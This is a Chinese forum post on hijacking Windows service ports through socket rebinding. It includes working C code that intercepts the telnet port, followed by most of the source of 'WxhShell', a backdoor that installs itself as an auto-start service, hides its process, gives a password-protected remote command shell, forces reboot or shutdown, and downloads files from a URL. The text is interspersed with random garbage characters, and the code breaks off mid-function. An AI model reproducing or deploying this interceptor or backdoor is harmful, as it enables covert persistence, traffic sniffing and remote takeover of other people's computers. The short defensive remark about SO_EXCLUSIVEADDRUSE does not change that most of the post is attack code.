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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U?Zq6_M&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \!ZTL1b8t  
QA`sx  
  saddr.sin_family = AF_INET; $Ds2>G4c  
B~ GbF*j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ! n@KU!&k  
N =}A Z{$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 83_h J  
013x8!i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #=A)XlZMd  
e X|m  
  这意味着什么?意味着可以进行如下的攻击: AQvudx)@"  
6A-|[(NS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /W<;Z;zk  
jV1.Yz (`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hMO=#up&  
wlqksG[B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^6V[=!& H  
yNBfUj -L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .Yn_*L+4*  
db7B^|Di  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g8% &RG  
#q=Efn'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +a+Om73B2  
^hM4j{|&M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dUZ ,m9u  
Zb>?8  
  #include <\^8fn   
  #include f2`2,?  
  #include VY4yS*y  
  #include    _]H&,</  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yvB.&<]No  
  int main() Z@!+v 19^  
  { nDxz~8  
  WORD wVersionRequested; !_)[/q"  
  DWORD ret; VpDbHAg  
  WSADATA wsaData; h*](a_0  
  BOOL val; iqWQ!r^  
  SOCKADDR_IN saddr; + [mk<pQ  
  SOCKADDR_IN scaddr; "+G8d' %YV  
  int err; rg!r[1c  
  SOCKET s; 0 M[EEw3  
  SOCKET sc; lRFYx?y  
  int caddsize; `d}2O%P  
  HANDLE mt; ukyZes8o K  
  DWORD tid;   /*mI<[xb  
  wVersionRequested = MAKEWORD( 2, 2 ); ^<2p~h0 \  
  err = WSAStartup( wVersionRequested, &wsaData ); 8&slu{M- t  
  if ( err != 0 ) { lt8|9"9<  
  printf("error!WSAStartup failed!\n"); A3/k@S-R2  
  return -1; 1mG-}  
  } kt:! 7  
  saddr.sin_family = AF_INET; YIYmiv5  
   EaN6^S=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s2'h  
-[.[>&`/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u'BaKWPS  
  saddr.sin_port = htons(23); ?6WY:Zec@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1=V-V<  
  { h2d(?vOT  
  printf("error!socket failed!\n"); xwo<' xT  
  return -1; T_4/C2  
  } @K-">f  
  val = TRUE; $xN|5;+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0 kW,I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]}Yl7/gM1}  
  { "4{r6[dn  
  printf("error!setsockopt failed!\n"); wf<M)Rs|  
  return -1; aPL+=58r  
  } KbeC"mi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qvhl4-XjZa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H/M@t\$Dc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cbTm'}R(G  
/j.9$H'y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >4CbwwMA  
  { _oeS Uzq.  
  ret=GetLastError(); gg2( 5FPP  
  printf("error!bind failed!\n"); w\O;!1iU  
  return -1; 4o[{>gW  
  } \'O"~W  
  listen(s,2); N;`n@9BF  
  while(1) Z7Hbj!d/Sz  
  { =T7.~W  
  caddsize = sizeof(scaddr); 0o&5 ]lEe  
  //接受连接请求 ]D\D~!R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VI *$em O0  
  if(sc!=INVALID_SOCKET) >XfbP]  
  { RZTiw^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u>vL/nI  
  if(mt==NULL) Xsa].  
  { cw <l{A  
  printf("Thread Creat Failed!\n"); dSHDWu&  
  break; TB31- ()  
  } ^U/O !GK  
  } u=e{]Ax#}  
  CloseHandle(mt); N8df8=.kw  
  } $[ *w"iQ  
  closesocket(s); _|`S3}q|d  
  WSACleanup(); ;!Fn1|)  
  return 0; ,eS)e+yzc2  
  }   k+*u/neh  
  DWORD WINAPI ClientThread(LPVOID lpParam) x]j W<A  
  { %8v\FS  
  SOCKET ss = (SOCKET)lpParam; 1< ?4\?j  
  SOCKET sc; S3J^,*'  
  unsigned char buf[4096]; n+M<\  
  SOCKADDR_IN saddr; 8 L Cb+^  
  long num; w,D+j74e$  
  DWORD val; "#g}ve,  
  DWORD ret; E!F^H^~$8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &UFZS94@r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P.DK0VgY  
  saddr.sin_family = AF_INET; #AY&BWS$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gjlx~.0d  
  saddr.sin_port = htons(23); !5!<C,U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {{!-Gr  
  { Q+{n-? :  
  printf("error!socket failed!\n"); %(Icz ?  
  return -1; );YDtGip J  
  } %BQ`MZ  
  val = 100; Q,Eo mt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^<6[.)  
  { gRzxLf`K  
  ret = GetLastError(); VIbq:U  
  return -1; o4WDh@d5S  
  } N2o7%gJw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #\ErY3k6&  
  { @2#lI  
  ret = GetLastError(); yf,z$CR  
  return -1; qxc[M8s  
  } x?<FJ"8"k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MHwIA*R  
  { EdX$(scu~B  
  printf("error!socket connect failed!\n"); NHE18_v5  
  closesocket(sc); !VzC&>'v^9  
  closesocket(ss);  ~$J2g  
  return -1; ia? c0xL  
  } [G3E%z  
  while(1) yt2PU_),  
  { 6L~n.5B~o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4^d?D!j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0*v2y*2V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gq P5Kx+=  
  num = recv(ss,buf,4096,0); $:^td/p J  
  if(num>0) Ho]su?  
  send(sc,buf,num,0); zT{ VE+=  
  else if(num==0) w!XD/j N  
  break; QZ8IV>  
  num = recv(sc,buf,4096,0); (;,sc$H]  
  if(num>0) s#GLJl\E_P  
  send(ss,buf,num,0); qg$ <oL@~~  
  else if(num==0) }-`4DHgq  
  break; G+m }MOQP7  
  } MqMQtU9w  
  closesocket(ss); z(~_AN M4,  
  closesocket(sc); D6Wa.,r  
  return 0 ; 2&5K. Ui%  
  } H,NF;QPPC  
rT>wg1:  
Alq(QDs  
========================================================== @}ZVtrz  
6dYMwMH  
下边附上一个代码,,WXhSHELL "Y.y:Vv;  
p K$`$H  
========================================================== R|Q?KCI&  
8?C5L8)  
#include "stdafx.h" 47B&s   
5-A\9UC*@  
#include <stdio.h> _VXN#@y  
#include <string.h> "gwSJ~:ds  
#include <windows.h> *K; ~!P  
#include <winsock2.h> -n;}n:w L  
#include <winsvc.h> J~- 4C)  
#include <urlmon.h>  AOx[  
yCo.cd-  
#pragma comment (lib, "Ws2_32.lib") d d;T-wa}  
#pragma comment (lib, "urlmon.lib") fB,_9K5i  
##ANrG l  
#define MAX_USER   100 // 最大客户端连接数 i@'dH3-kO  
#define BUF_SOCK   200 // sock buffer S]{oPc[7  
#define KEY_BUFF   255 // 输入 buffer UCWBYC+  
A%-6`>  
#define REBOOT     0   // 重启 Qwc"[N4H  
#define SHUTDOWN   1   // 关机 ?h2}#wg  
4GM6)"#d  
#define DEF_PORT   5000 // 监听端口 ,z?':TZ  
A2Tw<&Tw(  
#define REG_LEN     16   // 注册表键长度 ,u!sjx  
#define SVC_LEN     80   // NT服务名长度 B/C,.?Or  
-K$)DvV^(E  
// 从dll定义API J=yTbSN\v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =\d?'dII:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xm&L B X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g,Y/M3>(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [S<";l8  
D`AsRd  
// wxhshell配置信息 .e5Mnd%$M  
struct WSCFG { E} .^kc[(4  
  int ws_port;         // 监听端口 . ]M"# \  
  char ws_passstr[REG_LEN]; // 口令 92-I~ !d  
  int ws_autoins;       // 安装标记, 1=yes 0=no w#J2 wS  
  char ws_regname[REG_LEN]; // 注册表键名 A)KZa"EX  
  char ws_svcname[REG_LEN]; // 服务名 PaN"sf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N uI9iU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QCJM&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I?NyM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DL.!G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d!{r  v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q'11^V!0  
B1Oq!k  
}; \[nut;  
=Runf +}  
// default Wxhshell configuration LHmZxi?  
struct WSCFG wscfg={DEF_PORT, Rva$IX ^]  
    "xuhuanlingzhe",  C.QO#b  
    1, JN6B~ZNf  
    "Wxhshell", 'm9` 12 H  
    "Wxhshell", uVU)d1N  
            "WxhShell Service", rQ9'bCSr%  
    "Wrsky Windows CmdShell Service", P>6{&(  
    "Please Input Your Password: ", k_R"CKd  
  1, r%N)bNk~  
  "http://www.wrsky.com/wxhshell.exe", tI{_y  
  "Wxhshell.exe" l+0P  
    }; ?hM64jI|  
/Q )\+  
// 消息定义模块 j~QwV='S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qei" '~1a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \di=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R GX=)  
char *msg_ws_ext="\n\rExit."; c"xK`%e  
char *msg_ws_end="\n\rQuit."; UZ$/Ni  
char *msg_ws_boot="\n\rReboot..."; ,=N.FS  
char *msg_ws_poff="\n\rShutdown..."; k+4#!.HX^  
char *msg_ws_down="\n\rSave to "; Cls%M5MH  
07$o;W@  
char *msg_ws_err="\n\rErr!"; xwty<?dRW1  
char *msg_ws_ok="\n\rOK!"; |)G<,FJQE_  
Xry4 7a )  
char ExeFile[MAX_PATH]; 3BLqCZ  
int nUser = 0; M@ZI\  
HANDLE handles[MAX_USER]; KG5>]_GH  
int OsIsNt; ]s748+  
lHIM}~#;nd  
SERVICE_STATUS       serviceStatus; 9k=3u;$v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bu"!jHPB  
a'z7(8$$  
// 函数声明 ~v"L!=~G;a  
int Install(void); m4yL@d,Yw  
int Uninstall(void); '%`:+]!  
int DownloadFile(char *sURL, SOCKET wsh); fxIf|9Qi`  
int Boot(int flag); {zFMmPid  
void HideProc(void); snikn&  
int GetOsVer(void);  7[wieYj{  
int Wxhshell(SOCKET wsl); 2:=  
void TalkWithClient(void *cs); ,v&(YOd  
int CmdShell(SOCKET sock); &t-kpA|EG  
int StartFromService(void); ---N9I  
int StartWxhshell(LPSTR lpCmdLine);  f V(J|  
YnP5i#"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cs'{5!i]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wa3}SB  
OUXR  
// 数据结构和表定义  rXU\  
SERVICE_TABLE_ENTRY DispatchTable[] = ?R#)1{(8d~  
{ Xs?o{]Fe  
{wscfg.ws_svcname, NTServiceMain}, "wHFN>5B  
{NULL, NULL} ~3 bPIg7D  
}; E+JqWR5  
I!?}jo3  
// 自我安装 z$xo$R(  
int Install(void) PiYxk+N  
{ 1sH& sGy7  
  char svExeFile[MAX_PATH]; V$?SR44>nH  
  HKEY key; 8&aq/4:q0  
  strcpy(svExeFile,ExeFile); BVO<e \>3  
K96<M);:g  
// 如果是win9x系统,修改注册表设为自启动 !0cD$^7  
if(!OsIsNt) { Ub!(H^zu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O1mKe%'|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,4oo=&  
  RegCloseKey(key); bY0|N[ g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pV"R|{#V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N8FF3}> g  
  RegCloseKey(key); @|%2f@h  
  return 0; #lW`{i  
    } Wiu"k%Qsh  
  } &JI8]JmU)  
} }AH] th  
else { Z)aUt Srf  
_f:W?$\ho  
// 如果是NT以上系统,安装为系统服务 7Rt9od< )!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >oe]$r  
if (schSCManager!=0) J9[r|`gJ(  
{ ^ovR7+V  
  SC_HANDLE schService = CreateService H'hpEw G  
  ( zI<<Q2  
  schSCManager, 8pgEix/M5o  
  wscfg.ws_svcname, 'X2POay1  
  wscfg.ws_svcdisp, (*)hD(C5  
  SERVICE_ALL_ACCESS, ox (%5c)b|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b%/ 1$>_  
  SERVICE_AUTO_START, {jX2}  
  SERVICE_ERROR_NORMAL, NTI+  
  svExeFile, }~e%J(  
  NULL, H+Sz=tg5  
  NULL, 1 Ya`| ?FS  
  NULL, A$:U'ZG_  
  NULL, j ?(&#  
  NULL eHDN\QA 2  
  ); KMjhZap%  
  if (schService!=0) R!N%o~C2-  
  { \)?HJ  
  CloseServiceHandle(schService); "!%l/_p?  
  CloseServiceHandle(schSCManager); %F4%H|G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `lt"[K<  
  strcat(svExeFile,wscfg.ws_svcname); Gk /fBs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A=wh@"2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~O &:C{9=  
  RegCloseKey(key); -p XSSa;O9  
  return 0; %Qdn  
    } kq,ucU%>p  
  } 1^(ad;BC y  
  CloseServiceHandle(schSCManager); r? E)obE  
} Da&]y  
} fDU!~/#  
V /V9B2.$  
return 1; [^98fAlz6  
} 7Da`   
EA]U50L(  
// 自我卸载 k{SAvKx=  
int Uninstall(void) d,n 'n  
{ &@Be2!%'9K  
  HKEY key; Y\?"WGL)p  
sI^Xb@'09$  
if(!OsIsNt) { K}MK<2vU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <;Zmjeb+#  
  RegDeleteValue(key,wscfg.ws_regname); (rm?jDm   
  RegCloseKey(key); I75DUJqy]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o="M  
  RegDeleteValue(key,wscfg.ws_regname); -0x #  
  RegCloseKey(key); 8&`LYdzt  
  return 0; J,y[[CdH`  
  } =.]4;z  
} SmSH2m-  
} U/l&tmIVY  
else { 'Xq| Kf (  
s{\8om '-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EE'io5\et  
if (schSCManager!=0) +Kbjzh3<wG  
{ iVq'r4S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F%D.zvKN  
  if (schService!=0) XXn67sF/  
  { sZ/v^ xk  
  if(DeleteService(schService)!=0) { &H/'rd0M  
  CloseServiceHandle(schService); S8j{V5R'  
  CloseServiceHandle(schSCManager); GM f `A,>  
  return 0; T&u5ki4NE  
  } qm8B8&-  
  CloseServiceHandle(schService); Cl8Cg~2  
  } /zVOK4BqN+  
  CloseServiceHandle(schSCManager); *@=/qkaJaI  
} 9c,'k#k  
} =QiI :|eRA  
mQ 26K~  
return 1; =Qj{T  
} +V046goX W  
9} M?P  
// 从指定url下载文件 ?:I*8Fj  
int DownloadFile(char *sURL, SOCKET wsh) hVAn>_(  
{ RF53Jyt  
  HRESULT hr; "2$fi{9  
char seps[]= "/"; _ y8Wn}19f  
char *token; o 5uph=Q{  
char *file; peuZ&yK+"  
char myURL[MAX_PATH]; Ep3N&Imp  
char myFILE[MAX_PATH]; $OkBg0  
'3D XPR^B6  
strcpy(myURL,sURL); F {4bo$~>  
  token=strtok(myURL,seps); PB`Y g  
  while(token!=NULL) x vl#w  
  { x '>9d  
    file=token; 4`]^@"{  
  token=strtok(NULL,seps); ,|H `e^  
  } }1i`6`y1  
VfC<WVYiZ  
GetCurrentDirectory(MAX_PATH,myFILE); &zeyE;/Hj  
strcat(myFILE, "\\"); O6a<`]F  
strcat(myFILE, file); _w+:Dv~*a  
  send(wsh,myFILE,strlen(myFILE),0); ?u=Fj_N_  
send(wsh,"...",3,0); {xB!EQ"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s.N/2F& *W  
  if(hr==S_OK) Pz|>"'  
return 0; q{I%Q)t)gU  
else 1 A !bE  
return 1; j2.|ln"!  
O{G?;H$  
} YPK(be_|I  
=llvuUd\n  
// 系统电源模块 pF:$  ko  
int Boot(int flag) j9 4=hJVKi  
{ ;jvBF4Lb>  
  HANDLE hToken; l2rd9 -T  
  TOKEN_PRIVILEGES tkp; #;q dY[v  
lN?qp'%H`  
  if(OsIsNt) { lC("y' ::  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yi+wC}   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `nv~NLkl  
    tkp.PrivilegeCount = 1; OXSmt DvJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \lf;P?M^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #9}D4i.`}  
if(flag==REBOOT) { m^f0V2M_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (%e .:W${  
  return 0; 2 %@4]  
} ukfQe }I  
else { ag#S6E^%S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8Pn#+IvCE  
  return 0; fg!__Rdi  
} zrL$]Oy}x  
  } )c83/= <v  
  else { foF({4q7b^  
if(flag==REBOOT) { %.Fi4}+O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Agg<tM{yB  
  return 0; aS{n8P6vW  
} z/WE,R  
else { [.'|_l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <+Dn8  
  return 0; 3<Zq ]jk?n  
} bv9i*]  
} OgQV;at  
?U5{Wa85D  
return 1; UkT=W!cq  
} T/Gz94c  
B^Nf #XN(  
// win9x进程隐藏模块 p7VTa~\zA  
void HideProc(void) ~u!|qM  
{ k)= X}=w  
_8riUt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]kG"ubHV?h  
  if ( hKernel != NULL ) V2?=4mb  
  { #ASz;$P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o]` *M|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9T}pT{~V  
    FreeLibrary(hKernel); 4(~L#}:r!  
  } 8'.Hyy@;  
?'#` nx(!  
return; !M]uL&:  
} `H_3Uc  
$L>@Ed<  
// 获取操作系统版本 >#;.n(y  
int GetOsVer(void) w%VU/6~  
{ tl4V7!U@^z  
  OSVERSIONINFO winfo; =J]]EoX/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,p@y] cr  
  GetVersionEx(&winfo); *,)Md[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :q7Wy&ow  
  return 1; k\YG^I  
  else UcDS9f_87  
  return 0; *_{j=sd  
} [b<oDX#  
|zNX=mAV  
// 客户端句柄模块 _AYK435>N  
int Wxhshell(SOCKET wsl) o\<ULW*  
{ Xy&A~F  
  SOCKET wsh; %~JJ.&  
  struct sockaddr_in client; 2c,9e`  
  DWORD myID; vNY{j7l/W  
ooL!TS GD  
  while(nUser<MAX_USER) Gg3,:A_ w  
{ g^2OkV(  
  int nSize=sizeof(client); .E1rqBG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <#y[gTJ<'>  
  if(wsh==INVALID_SOCKET) return 1; 88gM?G _X  
BB$>h}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [0[i5'K:  
if(handles[nUser]==0) D/B8tf+V  
  closesocket(wsh); eRstD>r  
else i2U{GV<K-r  
  nUser++; Y3cMC)  
  } >,Ci?[pf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x{8xW0  
fZzoAzfv2  
  return 0; TnOggpQ6X  
} qIE9$7*X  
[nG<[<0G;  
// 关闭 socket <8i//HOE  
void CloseIt(SOCKET wsh) '8. r-`l(  
{ 3{^9]7UC  
closesocket(wsh); <X^@*79m  
nUser--; )VS=E7[  
ExitThread(0); E *6Cw l  
} R)( T^V`{  
:WS@=sZN  
// 客户端请求句柄 B =T'5&  
void TalkWithClient(void *cs) >`mVY=H i  
{ j'<<4.(  
gHEu/8E  
  SOCKET wsh=(SOCKET)cs; x0D*U?A  
  char pwd[SVC_LEN]; sPQQ"|wU  
  char cmd[KEY_BUFF]; [{,T.;'<j  
char chr[1]; wY % }  
int i,j; \?ZB]*Fu  
T|op$ s|  
  while (nUser < MAX_USER) { fS:&Ak ];  
Y%aCMP9j~9  
if(wscfg.ws_passstr) { l^-];|Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YQ)kRhFA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c(m<h+ 2VL  
  //ZeroMemory(pwd,KEY_BUFF); 1 ~*7f>  
      i=0; ]BZA:dd.G  
  while(i<SVC_LEN) { q[ZTHd.-  
=tn)}Y.<e  
  // 设置超时 0c]/bs{}  
  fd_set FdRead; N7QK> "a  
  struct timeval TimeOut; ,vawzq[oSy  
  FD_ZERO(&FdRead); "'.UU$]d  
  FD_SET(wsh,&FdRead); Z'W =\rl  
  TimeOut.tv_sec=8; "1*:JVG  
  TimeOut.tv_usec=0; VG#EdIiI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vjCu4+w($Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3E]plj7$  
1~`fVg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `pS9_ NYZ}  
  pwd=chr[0]; EhvX)s  
  if(chr[0]==0xd || chr[0]==0xa) { 9c'xHO`  
  pwd=0; CL;}IBd a  
  break; ~.nmI&3  
  } ~2N"#b&J  
  i++; _pG-qK  
    } j#x6  
RFcv^Xf  
  // 如果是非法用户,关闭 socket fk>aqm7D!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IGQFtO/x  
} ) 7@ `ut  
+oML&g-g_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gp?uHKsM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @)M9IOR  
/NFj(+&g+  
while(1) { aCj&O:]=  
0<@KG8@hI;  
  ZeroMemory(cmd,KEY_BUFF); IdYt\^@>  
RJ&RTo  
      // 自动支持客户端 telnet标准   9YyLf;  
  j=0; U&OJXJd j  
  while(j<KEY_BUFF) { 6l1jMm|= X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g2ixx+`?|:  
  cmd[j]=chr[0]; Y('#jU  
  if(chr[0]==0xa || chr[0]==0xd) { hH 3RP{'=  
  cmd[j]=0; h"Q8b}$^)  
  break; b3[!V{|  
  } !hy-L_wL]  
  j++; zxl@(h d  
    } UnV.~u~  
,PW'#U:  
  // 下载文件 <2x^slx)?  
  if(strstr(cmd,"http://")) { i$#;Kpb`^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O+]ZyHnB  
  if(DownloadFile(cmd,wsh)) R| , g<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KYI/  
  else U_Ptqqt%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "m8^zg hL  
  }  %OCb:s  
  else { j2[+z tG  
tw/dD +  
    switch(cmd[0]) { /Iokf@5  
  #q$HQ&k  
  // 帮助 ()?(I?II  
  case '?': { n;_sG>N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v{N`.~,^  
    break; u4?L 67x  
  } 2MIi=c:oqK  
  // 安装 ^ VyKd  
  case 'i': { AeM^73t  
    if(Install()) BwpqNQN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7S :\"A7  
    else lb3b m)@:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xm~`7~nFR  
    break; _D&598xx  
    } |SSSH  
  // 卸载 /C:gKy4  
  case 'r': { s!zx} 5  
    if(Uninstall()) G>}255qY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gZXi]m&  
    else AV]2 euyn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :eCwY  
    break; & J'idYD  
    } 3;9^  
  // 显示 wxhshell 所在路径 WE#^a6  
  case 'p': { V2EUW!gn 2  
    char svExeFile[MAX_PATH]; f'RX6$}\1X  
    strcpy(svExeFile,"\n\r"); R) h#Vc(  
      strcat(svExeFile,ExeFile); 'JE`(xD  
        send(wsh,svExeFile,strlen(svExeFile),0); V=l0(03j~  
    break; V1zmGy  
    } Gb6'n$g  
  // 重启 _N cR)2  
  case 'b': { u&vf+6=9Dd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); khxnlry  
    if(Boot(REBOOT)) +\]\[6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jB2[(  
    else { <'Eme  
    closesocket(wsh); g:@#@1rB6  
    ExitThread(0); oZgjQM$YP  
    } h(dvZ= %  
    break; %wy.TN  
    } h;"4+uw  
  // 关机 ?l{nk5,?-Y  
  case 'd': { 5C ]x!>kX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $a]`nLUa  
